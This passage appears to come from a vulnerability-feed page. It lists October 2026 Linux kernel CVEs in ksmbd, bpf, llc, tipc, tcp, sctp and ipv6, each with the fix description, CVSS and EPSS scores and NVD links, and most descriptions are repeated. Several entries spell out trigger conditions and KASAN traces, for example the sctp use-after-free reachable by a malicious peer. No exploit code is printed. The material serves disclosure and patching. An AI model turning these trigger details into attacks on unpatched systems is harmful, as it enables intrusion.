SESSION_SETUP on the same connection (a reauthentication on a bound
channel, or a new SessionId==0 setup). A connection that has bound a
channel into another session's ksmbd_chann_list and then clears
conn->binding leaves that channel behind when it disconnects: the
channel, whose chann->conn points at the now freed struct ksmbd_conn,
stays on the owner session's list.

When the owning connection later tears down, the second loop
dereferences the stale channel:

	xa_for_each(&sess->ksmbd_chann_list, chann_id, chann)
		if (chann->conn != conn)
			ksmbd_conn_set_exiting(chann->conn);   /* freed */

which is a use-after-free write into the freed ksmbd_conn (the same
stale channel is also walked by show_proc_session() through /proc). The
session is leaked as well, because its channel list never empties.

Remove the conn->binding gate so a connection always removes its
channels from every session on teardown.
CVSS 8.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98870).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98870&date=2026-10-25).
Sources:
NVD CVE-2026-98870: https://nvd.nist.gov/vuln/detail/CVE-2026-98870
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98870&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

ksmbd: remove stale channels from all sessions on teardown

ksmbd_sessions_deregister() removes a connection's channels from other
sessions' channel lists only while conn->binding is still set:

	if (conn->binding) {
		hash_for_each_safe(sessions_table, ...)
			ksmbd_chann_del(conn, sess);
	}

conn->binding is a transient flag: it is cleared once a binding
SESSION_SETUP completes, and also by a subsequent non-binding
SESSION_SETUP on the same connection (a reauthentication on a bound
channel, or a new SessionId==0 setup). A connection that has bound a
channel into another session's ksmbd_chann_list and then clears
conn->binding leaves that channel behind when it disconnects: the
channel, whose chann->conn points at the now freed struct ksmbd_conn,
stays on the owner session's list.

When the owning connection later tears down, the second loop
dereferences the stale channel:

	xa_for_each(&sess->ksmbd_chann_list, chann_id, chann)
		if (chann->conn != conn)
			ksmbd_conn_set_exiting(chann->conn);   /* freed */

which is a use-after-free write into the freed ksmbd_conn (the same
stale channel is also walked by show_proc_session() through /proc). The
session is leaked as well, because its channel list never empties.

Remove the conn->binding gate so a connection always removes its
channels from every session on teardown.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: bpf: Infer zext_dst based on static register liveness analysis
https://kevwire.com/record/CVE-2026-98869
Linux kernel: bpf: Infer zext_dst based on static register liveness analysis (Oct 21, 2026).
In the Linux kernel, the following vulnerability has been resolved:

bpf: Infer zext_dst based on static register liveness analysis

As reported in the thread [1], the verifier's 32-bit operations zero
extension logic is broken. This logic is responsible for correct
semantics of 32-bit operations on s390 architecture.

According to BPF semantics, operation `w1 += 1` is supposed to zero
extend the upper half of the register `r1`. On s390 the JIT relies on
the verifier emitting explicit zero extension before such operations.

The verifier attempts to minimize the amount of zero extensions
inserted by tracking whether upper halves of the 64-bit registers are
ever used. Previously such tracking worked as follows:

- bpf_reg_state->subreg_def field was set by do_check_insn()
  for each operation defining lower but not the upper halves
  of the register.
- Whenever an operation reading the whole register was verified,
  the verifier checked register's subreg_def and set
  bpf_insn_aux_data->zext_dst flag as true via a call to
  mark_insn_zext() function.
- After the verification was complete, a special pass
  bpf_opt_subreg_zext_lo32_rnd_hi32() extended 32-bit operations
  with bpf_insn_aux_data->zext_dst set as true by adding
  explicit zero extension.

Note that the logic above relies on bpf_reg_state->subreg_def,
which is a property of a current verifier state.
Before the commit [2] two additional steps happened:

- The verifier tracked upper and lower register halves' liveness as
  flags REG_LIVE_READ{32,64} in bpf_reg_state->live.
- The function propagate_liveness() called mark_insn_zext()
  in order to transfer the knowledge about which registers have
  their upper halves alive (and thus might require zero extension).

The commit [2] removed the two steps described above,
hence making possible a situation like below:

- The register's upper half is set and is used on some verification
  path P1 and the register happens not to be marked as precise.
- The checkpoint C is created while processing some instruction
  between register initialization and usage.
- On some other verification path P2 the register's upper half is not
  initialized and that path ends hittin
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98869).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98869&date=2026-10-25).
Sources:
NVD CVE-2026-98869: https://nvd.nist.gov/vuln/detail/CVE-2026-98869
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98869&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

bpf: Infer zext_dst based on static register liveness analysis

As reported in the thread [1], the verifier's 32-bit operations zero
extension logic is broken. This logic is responsible for correct
semantics of 32-bit operations on s390 architecture.

According to BPF semantics, operation `w1 += 1` is supposed to zero
extend the upper half of the register `r1`. On s390 the JIT relies on
the verifier emitting explicit zero extension before such operations.

The verifier attempts to minimize the amount of zero extensions
inserted by tracking whether upper halves of the 64-bit registers are
ever used. Previously such tracking worked as follows:

- bpf_reg_state->subreg_def field was set by do_check_insn()
  for each operation defining lower but not the upper halves
  of the register.
- Whenever an operation reading the whole register was verified,
  the verifier checked register's subreg_def and set
  bpf_insn_aux_data->zext_dst flag as true via a call to
  mark_insn_zext() function.
- After the verification was complete, a special pass
  bpf_opt_subreg_zext_lo32_rnd_hi32() extended 32-bit operations
  with bpf_insn_aux_data->zext_dst set as true by adding
  explicit zero extension.

Note that the logic above relies on bpf_reg_state->subreg_def,
which is a property of a current verifier state.
Before the commit [2] two additional steps happened:

- The verifier tracked upper and lower register halves' liveness as
  flags REG_LIVE_READ{32,64} in bpf_reg_state->live.
- The function propagate_liveness() called mark_insn_zext()
  in order to transfer the knowledge about which registers have
  their upper halves alive (and thus might require zero extension).

The commit [2] removed the two steps described above,
hence making possible a situation like below:

- The register's upper half is set and is used on some verification
  path P1 and the register happens not to be marked as precise.
- The checkpoint C is created while processing some instruction
  between register initialization and usage.
- On some other verification path P2 the register's upper half is not
  initialized and that path ends hitting the checkpoint C.
- In such a case the register's initialization on path P2 would lack
  zext_dst mark, making it possible for the program to inject
  an arbitrary value in the register's upper half.

This commit replaces subreg_def based logic with computing zext_dst
statically, as a part of the bpf_compute_live_registers() analysis:

- The analysis now tracks usage of upper and lower halves of the
  registers separately.
- If some instruction defines a 32-bit subregister, but not the whole
  register, *and* the upper half of the register is alive after that
  instruction, the instruction is marked as zext_dst.

There is one notable drop in precision: whenever a BPF subprogram is
called, all 64 bits of parameter registers are presumed to be used.
The assumption is that such a drop in precision would not inflict
a noticeable performance penalty.

[1] https://lore.kernel.org/bpf/CAGKGUv=sOuqQtA1Ub-5JXfA4FPosJFYKAQE4B79cK+P1erxqtg@mail.gmail.com/
[2] commit 107e16979905 ("bpf: disable and remove registers chain based liveness")

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: llc: fix skb UAF and leaks on llc_mac_hdr_init() failure
https://kevwire.com/record/CVE-2026-98555
Linux kernel: llc: fix skb UAF and leaks on llc_mac_hdr_init() failure (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

llc: fix skb UAF and leaks on llc_mac_hdr_init() failure

In llc_conn_ac_resend_i_xxx_x_set_0_or_send_rr(), if llc_mac_hdr_init()
fails, kfree_skb(skb) is called instead of kfree_skb(nskb). This leaks
the newly allocated nskb, reads from the freed skb via LLC_I_GET_NR(pdu),
and double-frees skb when llc_conn_state_process() drops its reference.

In llc_sap_action_send_xid_r() and llc_sap_action_send_test_r(), nskb is
leaked if llc_mac_hdr_init() returns an error.

Free nskb in all three error paths.
CVSS 7.5 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98555).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98555&date=2026-10-25).
Sources:
NVD CVE-2026-98555: https://nvd.nist.gov/vuln/detail/CVE-2026-98555
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98555&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

llc: fix skb UAF and leaks on llc_mac_hdr_init() failure

In llc_conn_ac_resend_i_xxx_x_set_0_or_send_rr(), if llc_mac_hdr_init()
fails, kfree_skb(skb) is called instead of kfree_skb(nskb). This leaks
the newly allocated nskb, reads from the freed skb via LLC_I_GET_NR(pdu),
and double-frees skb when llc_conn_state_process() drops its reference.

In llc_sap_action_send_xid_r() and llc_sap_action_send_test_r(), nskb is
leaked if llc_mac_hdr_init() returns an error.

Free nskb in all three error paths.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: tipc: reject invalid and unexpected GRP_ACK_MSG to prevent bc_ackers underflow
https://kevwire.com/record/CVE-2026-98550
Linux kernel: tipc: reject invalid and unexpected GRP_ACK_MSG to prevent bc_ackers underflow (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

tipc: reject invalid and unexpected GRP_ACK_MSG to prevent bc_ackers underflow

Commit 48a5fe38772b ("tipc: fix bc_ackers underflow on duplicate
GRP_ACK_MSG") rejected duplicate/stale ACKs in tipc_group_proto_rcv()
by returning early when less_eq(acked, m->bc_acked).

However, that check remains incomplete in two ways:

1. When grp->bc_ackers is zero (e.g. on a quiet group, when replicast
   ACKs were not requested, or after all expected members have already
   acknowledged), an unexpected GRP_ACK_MSG with acked > m->bc_acked
   passes less_eq() and unconditionally decrements grp->bc_ackers.
   Because bc_ackers is a u16, this wraps to 65535, causing
   tipc_group_bc_cong() to permanently report congestion and blocking
   all future group broadcasts on the socket.

2. During an active broadcast round (grp->bc_ackers > 0), the sender
   transmits packet S and advances grp->bc_snd_nxt to S + 1. Receivers
   increment their expected counter to S + 1 upon consuming packet S,
   so the only valid ACK value for the current round is strictly
   acked == grp->bc_snd_nxt.

   However, tipc_group_update_bc_members() initializes each member's
   m->bc_acked to prev = grp->bc_snd_nxt - 1 (S - 1 before increment).
   This leaves a 2-sequence gap (S - 1 to S + 1) in sequence space.
   An incoming ACK is therefore neither rejected as duplicate nor
   prevented from decrementing grp->bc_ackers if an unexpected or stale
   value (such as S) is received. A member sending acked = S followed
   by acked = S + 1 could decrement grp->bc_ackers twice in the same
   round, prematurely clearing bc_ackers or underflowing it.

Fix this by:
- Dropping GRP_ACK_MSG immediately if grp->bc_ackers is zero.
- Requiring acked == grp->bc_snd_nxt and rejecting duplicates where
  m->bc_acked == acked. Because replicast broadcast rounds are strictly
  sequential, only grp->bc_snd_nxt can be acknowledged, and each member
  can acknowledge at most once per round.

Note that a related pre-existing issue in tipc_group_delete_member()
(where grp->bc_ackers decrementing to zero upon member departure does
not restore *grp->open or trigger
CVSS 7.5 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98550).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98550&date=2026-10-25).
Sources:
NVD CVE-2026-98550: https://nvd.nist.gov/vuln/detail/CVE-2026-98550
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98550&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

tipc: reject invalid and unexpected GRP_ACK_MSG to prevent bc_ackers underflow

Commit 48a5fe38772b ("tipc: fix bc_ackers underflow on duplicate
GRP_ACK_MSG") rejected duplicate/stale ACKs in tipc_group_proto_rcv()
by returning early when less_eq(acked, m->bc_acked).

However, that check remains incomplete in two ways:

1. When grp->bc_ackers is zero (e.g. on a quiet group, when replicast
   ACKs were not requested, or after all expected members have already
   acknowledged), an unexpected GRP_ACK_MSG with acked > m->bc_acked
   passes less_eq() and unconditionally decrements grp->bc_ackers.
   Because bc_ackers is a u16, this wraps to 65535, causing
   tipc_group_bc_cong() to permanently report congestion and blocking
   all future group broadcasts on the socket.

2. During an active broadcast round (grp->bc_ackers > 0), the sender
   transmits packet S and advances grp->bc_snd_nxt to S + 1. Receivers
   increment their expected counter to S + 1 upon consuming packet S,
   so the only valid ACK value for the current round is strictly
   acked == grp->bc_snd_nxt.

   However, tipc_group_update_bc_members() initializes each member's
   m->bc_acked to prev = grp->bc_snd_nxt - 1 (S - 1 before increment).
   This leaves a 2-sequence gap (S - 1 to S + 1) in sequence space.
   An incoming ACK is therefore neither rejected as duplicate nor
   prevented from decrementing grp->bc_ackers if an unexpected or stale
   value (such as S) is received. A member sending acked = S followed
   by acked = S + 1 could decrement grp->bc_ackers twice in the same
   round, prematurely clearing bc_ackers or underflowing it.

Fix this by:
- Dropping GRP_ACK_MSG immediately if grp->bc_ackers is zero.
- Requiring acked == grp->bc_snd_nxt and rejecting duplicates where
  m->bc_acked == acked. Because replicast broadcast rounds are strictly
  sequential, only grp->bc_snd_nxt can be acknowledged, and each member
  can acknowledge at most once per round.

Note that a related pre-existing issue in tipc_group_delete_member()
(where grp->bc_ackers decrementing to zero upon member departure does
not restore *grp->open or trigger a socket wakeup) will be addressed
in a separate patch.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: tcp: prevent collapsing skbs across boundary in rtx queue
https://kevwire.com/record/CVE-2026-98549
Linux kernel: tcp: prevent collapsing skbs across boundary in rtx queue (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

tcp: prevent collapsing skbs across boundary in rtx queue

tcp_write_collapse_fence() sets TCP_SKB_CB(skb)->eor = 1 on
tcp_write_queue_tail(sk) to prevent skbs queued after a switch to
device encryption from being collapsed into earlier skbs.

The fence is a no-op if all earlier data has already been transmitted
when the switch happens: sk->sk_write_queue is empty. The not yet
acknowledged earlier skbs wait in sk->tcp_rtx_queue with eor 0.

On a subsequent retransmit or SACK shift, tcp_retrans_try_collapse() or
tcp_shift_skb_data() can then merge an skb queued after the switch into
one queued before it.

Both users of the fence are affected:

- psp: devices only encrypt skbs with skb->decrypted set. The merged skb
  keeps decrypted = 0 from the earlier skb, so merged data sent after
  psp_sock_assoc_set_tx() is retransmitted in cleartext.

- tls device offload: the merged skb straddles the start marker set in
  tls_set_device_offload(). The software fallback (fill_sg_in() returns
  -EINVAL) and the mlx5, nfp and funeth drivers cannot handle such an
  skb and drop it. Every retransmit rebuilds the same skb, so the
  connection stalls.

Fix this in two places, for defense in depth:

1. Fall back to tcp_rtx_queue_tail(sk) in tcp_write_collapse_fence()
   when tcp_write_queue_tail(sk) is NULL.

2. Check !skb_cmp_decrypted(to, from) in tcp_skb_can_collapse(), as
   tcp_skb_can_collapse_rx() does on receive. skb_shift(), which both
   collapse paths call, already has a DEBUG_NET_WARN_ON_ONCE() for this
   condition.
CVSS 9.1 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98549).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98549&date=2026-10-25).
Sources:
NVD CVE-2026-98549: https://nvd.nist.gov/vuln/detail/CVE-2026-98549
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98549&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

tcp: prevent collapsing skbs across boundary in rtx queue

tcp_write_collapse_fence() sets TCP_SKB_CB(skb)->eor = 1 on
tcp_write_queue_tail(sk) to prevent skbs queued after a switch to
device encryption from being collapsed into earlier skbs.

The fence is a no-op if all earlier data has already been transmitted
when the switch happens: sk->sk_write_queue is empty. The not yet
acknowledged earlier skbs wait in sk->tcp_rtx_queue with eor 0.

On a subsequent retransmit or SACK shift, tcp_retrans_try_collapse() or
tcp_shift_skb_data() can then merge an skb queued after the switch into
one queued before it.

Both users of the fence are affected:

- psp: devices only encrypt skbs with skb->decrypted set. The merged skb
  keeps decrypted = 0 from the earlier skb, so merged data sent after
  psp_sock_assoc_set_tx() is retransmitted in cleartext.

- tls device offload: the merged skb straddles the start marker set in
  tls_set_device_offload(). The software fallback (fill_sg_in() returns
  -EINVAL) and the mlx5, nfp and funeth drivers cannot handle such an
  skb and drop it. Every retransmit rebuilds the same skb, so the
  connection stalls.

Fix this in two places, for defense in depth:

1. Fall back to tcp_rtx_queue_tail(sk) in tcp_write_collapse_fence()
   when tcp_write_queue_tail(sk) is NULL.

2. Check !skb_cmp_decrypted(to, from) in tcp_skb_can_collapse(), as
   tcp_skb_can_collapse_rx() does on receive. skb_shift(), which both
   collapse paths call, already has a DEBUG_NET_WARN_ON_ONCE() for this
   condition.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: sctp: discard the rest of the packet on a stale-cookie error
https://kevwire.com/record/CVE-2026-98548
Linux kernel: sctp: discard the rest of the packet on a stale-cookie error (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

sctp: discard the rest of the packet on a stale-cookie error

When an association is in COOKIE-ECHOED state and the peer sends a
bundled [ERROR(Stale Cookie)][DATA] packet from one of its non-primary
addresses, processing the ERROR chunk takes the non-fatal stale-cookie
retry path sctp_sf_do_5_2_6_stale(), which queues
SCTP_CMD_DEL_NON_PRIMARY while keeping the association alive.
sctp_cmd_del_non_primary() removes every non-primary transport -
including the very transport this packet arrived on, which is still
referenced by the receive lookup and shared by all chunks of the
packet via chunk->transport.

sctp_assoc_rm_peer() does redirect asoc->peer.last_data_from away from
the removed transport, but right afterwards the bundled DATA chunk
makes sctp_assoc_bh_rcv() re-register
asoc->peer.last_data_from = chunk->transport unconditionally, undoing
the redirection with the just-removed transport.

Once the packet is done, the receive reference is dropped and the
transport is RCU-freed, while the surviving association keeps the
dangling last_data_from.  A later FWD-TSN (or the delayed SACK timer)
makes sctp_gen_sack() dereference it (->param_flags and friends), and
sctp_make_sack()/sctp_outq_select_transport() may write to the freed
object and link it into the live transport list.  This is a
use-after-free triggerable by any malicious SCTP peer (or a local
unprivileged user acting as one) with no capabilities required:

  BUG: KASAN: slab-use-after-free in sctp_do_sm+0x498a/0x5660
  Read of size 4 at addr ffff88800e1e356c by task poc/115
  Call Trace: sctp_do_sm <- sctp_assoc_bh_rcv <- sctp_inq_push <-
              sctp_rcv <- ip_protocol_deliver_rcu <- ip_rcv
  Allocated: sctp_transport_new <- sctp_assoc_add_peer <-
             sctp_process_init (INIT-ACK processing)
  Freed: kfree <- sctp_transport_destroy_rcu <- rcu_core
         (call_rcu queued by sctp_transport_put at end of sctp_rcv)
  The buggy address is located 364 bytes inside of freed 1024-byte
  region [ffff88800e1e3400, ffff88800e1e3800), cache kmalloc-1k

Note that commit 03a9d10ecf71 ("sctp: drop a chunk if its transport
was remove
CVSS 9.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98548).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98548&date=2026-10-25).
Sources:
NVD CVE-2026-98548: https://nvd.nist.gov/vuln/detail/CVE-2026-98548
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98548&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

sctp: discard the rest of the packet on a stale-cookie error

When an association is in COOKIE-ECHOED state and the peer sends a
bundled [ERROR(Stale Cookie)][DATA] packet from one of its non-primary
addresses, processing the ERROR chunk takes the non-fatal stale-cookie
retry path sctp_sf_do_5_2_6_stale(), which queues
SCTP_CMD_DEL_NON_PRIMARY while keeping the association alive.
sctp_cmd_del_non_primary() removes every non-primary transport -
including the very transport this packet arrived on, which is still
referenced by the receive lookup and shared by all chunks of the
packet via chunk->transport.

sctp_assoc_rm_peer() does redirect asoc->peer.last_data_from away from
the removed transport, but right afterwards the bundled DATA chunk
makes sctp_assoc_bh_rcv() re-register
asoc->peer.last_data_from = chunk->transport unconditionally, undoing
the redirection with the just-removed transport.

Once the packet is done, the receive reference is dropped and the
transport is RCU-freed, while the surviving association keeps the
dangling last_data_from.  A later FWD-TSN (or the delayed SACK timer)
makes sctp_gen_sack() dereference it (->param_flags and friends), and
sctp_make_sack()/sctp_outq_select_transport() may write to the freed
object and link it into the live transport list.  This is a
use-after-free triggerable by any malicious SCTP peer (or a local
unprivileged user acting as one) with no capabilities required:

  BUG: KASAN: slab-use-after-free in sctp_do_sm+0x498a/0x5660
  Read of size 4 at addr ffff88800e1e356c by task poc/115
  Call Trace: sctp_do_sm <- sctp_assoc_bh_rcv <- sctp_inq_push <-
              sctp_rcv <- ip_protocol_deliver_rcu <- ip_rcv
  Allocated: sctp_transport_new <- sctp_assoc_add_peer <-
             sctp_process_init (INIT-ACK processing)
  Freed: kfree <- sctp_transport_destroy_rcu <- rcu_core
         (call_rcu queued by sctp_transport_put at end of sctp_rcv)
  The buggy address is located 364 bytes inside of freed 1024-byte
  region [ffff88800e1e3400, ffff88800e1e3800), cache kmalloc-1k

Note that commit 03a9d10ecf71 ("sctp: drop a chunk if its transport
was removed") only covers the window between the receive lookup and
the chunk processing (e.g. an ASCONF DEL-IP racing the socket backlog);
here the transport is removed *while* the packet is being processed,
by an earlier chunk of the same packet, so the drop in sctp_inq_push()
does not reach this path.  Verified with the bundled [ERROR(Stale
Cookie)][DATA] + FWD-TSN reproducer: the KASAN report above still
fires with that commit applied, and is gone with this patch on top.

Fix it by discarding the rest of the packet on this path, as suggested
by Xin.  After the stale-cookie ERROR has sent the association back to
COOKIE-WAIT and removed the non-primary transports, the remaining
chunks of the packet can only run against the restarted handshake
while referencing the removed arrival transport through
chunk->transport: besides the last_data_from registration above,
sctp_cmd_setup_t2() and the sctp_make_*() reply builders would also
copy that pointer into association-lifetime state that
sctp_assoc_rm_peer() has already sanitized.  Let the peer retransmit
them, in line with what sctp_inq_push() does for chunks whose
transport was removed before processing.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: bpf: fs/xattr: don't assume the inode is locked in path_unlink/path_rmdir
https://kevwire.com/record/CVE-2026-98543
Linux kernel: bpf: fs/xattr: don't assume the inode is locked in path_unlink/path_rmdir (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

bpf: fs/xattr: don't assume the inode is locked in path_unlink/path_rmdir

bpf_lsm_has_d_inode_locked() makes the verifier rewrite
bpf_[set|remove]_dentry_xattr() to the _locked variants, which assume
that the caller already holds the inode's i_rwsem.  The path_unlink and
path_rmdir hooks are listed, but security_path_unlink() and
security_path_rmdir() run before vfs_unlink()/vfs_rmdir() take the
victim inode's i_rwsem, so a sleepable BPF LSM program attached to
either hook mutates the victim's xattrs without the lock held.

Drop the two path hooks from d_inode_locked_hooks so that the verifier
keeps the locking bpf_[set|remove]_dentry_xattr() variants, which take
the lock themselves.
CVSS 7.3 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98543).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98543&date=2026-10-25).
Sources:
NVD CVE-2026-98543: https://nvd.nist.gov/vuln/detail/CVE-2026-98543
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98543&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

bpf: fs/xattr: don't assume the inode is locked in path_unlink/path_rmdir

bpf_lsm_has_d_inode_locked() makes the verifier rewrite
bpf_[set|remove]_dentry_xattr() to the _locked variants, which assume
that the caller already holds the inode's i_rwsem.  The path_unlink and
path_rmdir hooks are listed, but security_path_unlink() and
security_path_rmdir() run before vfs_unlink()/vfs_rmdir() take the
victim inode's i_rwsem, so a sleepable BPF LSM program attached to
either hook mutates the victim's xattrs without the lock held.

Drop the two path hooks from d_inode_locked_hooks so that the verifier
keeps the locking bpf_[set|remove]_dentry_xattr() variants, which take
the lock themselves.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: ipv6: do not let ipv6_find_hdr() return an offset past the packet end
https://kevwire.com/record/CVE-2026-98532
Linux kernel: ipv6: do not let ipv6_find_hdr() return an offset past the packet end (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

ipv6: do not let ipv6_find_hdr() return an offset past the packet end

ipv6_find_hdr() walks the extension header chain, skipping each header by
the length that header itself declares.  ipv6_optlen() returns up to 2048,
and the skip is never checked against skb->len, so the offset stored in
*offset can point past the end of the packet.

openvswitch installs that offset as the transport header, and
update_ipv6_checksum() then reads and writes the transport checksum field
out of bounds:

  BUG: KASAN: slab-use-after-free in inet_proto_csum_replace16+0x445/0x470
  Read of size 2 at addr ffff88810b754b06 by task ovs_ipv6_oob/629
  CPU: 4 UID: 1000 PID: 629 Comm: ovs_ipv6_oob Tainted: G N 7.3.0-rc3+ #348
  Call Trace:
   inet_proto_csum_replace16+0x445/0x470
   set_ipv6_addr+0x3dd/0x460
   do_execute_actions+0x6a3d/0x7c40
   ovs_execute_actions+0xfd/0x480
   ovs_packet_cmd_execute+0xc38/0xf20
   genl_rcv_msg+0x59e/0x870
   netlink_rcv_skb+0x18b/0x450
   genl_rcv+0x2d/0x40
   netlink_unicast+0x6bc/0xa20

  The buggy address belongs to the object at ffff88810b754980
   which belongs to the cache skbuff_small_head of size 704
  The buggy address is located 390 bytes inside of
   freed 704-byte region [ffff88810b754980, ffff88810b754c40)

Other callers use that offset too, so bound it here rather than in one
caller.

Reject a header whose declared length does not fit in the packet.
ipv6_find_hdr() already fails with -EBADMSG on a malformed chain, so this
adds no new failure mode.
CVSS 8.1 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98532).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98532&date=2026-10-25).
Sources:
NVD CVE-2026-98532: https://nvd.nist.gov/vuln/detail/CVE-2026-98532
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98532&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

ipv6: do not let ipv6_find_hdr() return an offset past the packet end

ipv6_find_hdr() walks the extension header chain, skipping each header by
the length that header itself declares.  ipv6_optlen() returns up to 2048,
and the skip is never checked against skb->len, so the offset stored in
*offset can point past the end of the packet.

openvswitch installs that offset as the transport header, and
update_ipv6_checksum() then reads and writes the transport checksum field
out of bounds:

  BUG: KASAN: slab-use-after-free in inet_proto_csum_replace16+0x445/0x470
  Read of size 2 at addr ffff88810b754b06 by task ovs_ipv6_oob/629
  CPU: 4 UID: 1000 PID: 629 Comm: ovs_ipv6_oob Tainted: G N 7.3.0-rc3+ #348
  Call Trace:
   inet_proto_csum_replace16+0x445/0x470
   set_ipv6_addr+0x3dd/0x460
   do_execute_actions+0x6a3d/0x7c40
   ovs_execute_actions+0xfd/0x480
   ovs_packet_cmd_execute+0xc38/0xf20
   genl_rcv_msg+0x59e/0x870
   netlink_rcv_skb+0x18b/0x450
   genl_rcv+0x2d/0x40
   netlink_unicast+0x6bc/0xa20

  The buggy address belongs to the object at ffff88810b754980
   which belongs to the cache skbuff_small_head of size 704
  The buggy address is located 390 bytes inside of
   freed 704-byte region [ffff88810b754980, ffff88810b754c40)

Other callers use that offset too, so bound it here rather than in one
caller.

Reject a header whose declared length does not fit in the packet.
ipv6_find_hdr() already fails with -EBADMSG on a malformed chain, so this
adds no new failure mode.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: rds: ib: Clear the sg list when mapping an MR fails
https://kevwire.com/record/CVE-2026-98524
